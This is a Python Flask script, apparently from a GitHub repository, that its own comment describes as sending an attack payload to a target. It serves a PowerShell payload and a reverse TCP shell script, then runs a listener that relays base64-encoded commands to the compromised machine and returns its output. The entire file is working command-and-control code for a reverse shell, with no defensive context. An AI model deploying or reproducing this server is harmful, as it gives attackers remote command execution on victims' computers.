-
Notifications
You must be signed in to change notification settings - Fork 0
/
bad_server.py
80 lines (70 loc) · 1.75 KB
/
bad_server.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
# This file gives an example of sending the attack payload back to the target
from flask import *
import base64
from threading import Thread, Lock
from Queue import Queue
from socket import *
app = Flask('__main__')
queue = None
lock = Lock()
def openFile(path, name):
content = ''
with open('%s\\%s'%(path, name), 'rt') as file:
content = file.read()
return content
@app.route('/', methods = ['GET'])
def root():
return openFile('.', 'payload.ps1')
@app.route('/index', methods = ['GET'])
def index():
return send_from_directory('./html', 'shell.html')
@app.route('/revsh', methods = ['GET'])
def reverseShell():
global queue
global instip
ip = request.environ['REMOTE_ADDR']
port = request.args.get('port')
queue = Queue()
Thread(target = revshell, args = (queue, ip, int(port), )).start()
return '$address = "localhost"\n$port = %s\n'%port + openFile('.', 'reverse_tcp_shell.ps1')
@app.route('/send', methods = ['GET'])
def revShellHandler():
global queue
cmd = request.args.get('cmd')
if queue:
queue.put(cmd)
lock.acquire()
data = queue.get()
lock.release()
return data
return '!'
def revshell(queue, ip_addr, port):
print 'Thread created'
s = socket(AF_INET, SOCK_STREAM)
s.bind((ip_addr, port))
s.listen(1)
conn, addr = s.accept()
while True:
try:
lock.acquire()
cmd = queue.get()
lock.release()
conn.send(cmd + '\r\n')
if cmd == base64.b64encode('exit'):
raise
content = ''
while True:
temp = conn.recv(1)
if temp == '\n':
break
content += temp
queue.put(base64.b64decode(content).decode('UTF-8'))
except:
print 'Thread closed'
queue.put('Exited')
queue = None
conn.close()
s.close()
break
if __name__ == '__main__':
app.run(port = 80, debug = True, use_reloader = False)